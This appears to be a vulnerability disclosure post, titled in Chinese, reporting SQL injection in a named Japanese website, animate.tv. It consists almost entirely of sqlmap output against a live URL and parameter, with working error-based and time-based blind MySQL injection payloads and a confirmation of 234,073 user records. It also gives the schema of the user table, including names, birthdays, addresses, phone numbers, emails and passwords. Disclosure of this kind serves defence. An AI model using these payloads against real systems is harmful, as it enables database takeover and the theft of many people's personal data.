日本animate.tv网存在SQL注入泄露23W+用户信息

http://www.animate.tv/news/part.php?id=1395

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
     http://**.**.**.**
 
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  consent is illegal. It is the end user's responsibility to obey all applicable
 local, state and federal laws. Developers assume no liability and are not respon
 sible for any misuse or damage caused by this program
 
 [*] starting at 18:32:19
 
 [18:32:19] [INFO] resuming back-end DBMS 'mysql'
 [18:32:19] [INFO] testing connection to the target url
 sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: GET
 Parameter: id
     Type: error-based
     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
     Payload: id=1395') AND (SELECT 8060 FROM(SELECT COUNT(*),CONCAT(0x3a7465693a
 ,(SELECT (CASE WHEN (8060=8060) THEN 1 ELSE 0 END)),0x3a7a76743a,FLOOR(RAND(0)*2
 ))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('LNOR'='LNOR
 
     Type: AND/OR time-based blind
     Title: MySQL > 5.0.11 AND time-based blind
     Payload: id=1395') AND SLEEP(5) AND ('Jjyl'='Jjyl
 ---
 [18:32:20] [INFO] the back-end DBMS is MySQL
 web application technology: Apache
 back-end DBMS: MySQL 5.0
 [18:32:20] [INFO] retrieved: 234073
 Database: user_manage
 +------------------+---------+
 | Table            | Entries |
 +------------------+---------+
 | user_info_manage | 234073  |
 +------------------+---------+

Database: user_manage
 Table: user_info_manage
 [22 columns]
 +---------------------+--------------+
 | Column              | Type         |
 +---------------------+--------------+
 | address             | int(2)       |
 | address_2           | text         |
 | atv_point           | int(11)      |
 | birthday            | date         |
 | job                 | int(1)       |
 | kana                | varchar(32)  |
 | last_login          | datetime     |
 | mail_address        | varchar(128) |
 | mobile_address      | varchar(128) |
 | mobile_mail_bounces | int(1)       |
 | mobile_uid          | varchar(128) |
 | modified            | varchar(16)  |
 | name                | varchar(32)  |
 | nickname            | varchar(32)  |
 | password            | varchar(100) |
 | pc_mail_bounces     | int(1)       |
 | serial_id           | int(11)      |
 | sex_distinction     | varchar(1)   |
 | telephone           | varchar(16)  |
 | version             | int(11)      |
 | wallet              | int(7)       |
 | zip                 | varchar(8)   |
 +---------------------+--------------+